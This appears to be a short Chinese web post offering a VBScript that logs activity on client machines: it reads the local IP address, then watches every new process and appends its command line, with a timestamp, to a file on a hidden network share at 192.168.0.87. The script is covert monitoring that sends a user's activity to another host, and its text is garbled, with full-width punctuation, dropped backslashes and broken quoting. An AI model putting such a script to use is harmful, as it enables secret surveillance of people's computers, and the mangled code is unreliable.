用VBS记录客户机操作的代码

记录客户机操作的VBS脚本
on error resume next
strComputer = "."
Set objWMIService = GetObject（"winmgmts:\" & strComputer & " ootcimv2"）
Set IPConfigSet = objWMIService.ExecQuery _
（"Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE"）
For Each IPConfig in IPConfigSet
If Not IsNull（IPConfig.IPAddress） Then
For i=LBound（IPConfig.IPAddress） to UBound（IPConfig.IPAddress）
a=IPConfig.IPAddress（i）
Next
End If
Next

strComputer = "."
Set objWMIService = GetObject（"winmgmts:" _
& "{impersonationLevel=impersonate}！\" & strComputer & " ootcimv2"）
Set colMonitoredProcesses = objWMIService. _
ExecNotificationQuery（"select * from __instancecreationevent " _
& " within 1 where TargetInstance isa "Win32_Process""）

i = 0

Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
b=objLatestProcess.TargetInstance.CommandLine

set fso=createobject（"scripting.filesystemobject"）
set file1=fso.opentextfile（"\192.168.0.87ourway$ourway.htm",8,true）
file1.writeline now（） & "---" & a & "---" & b & "<hr>"
file1.close

Loop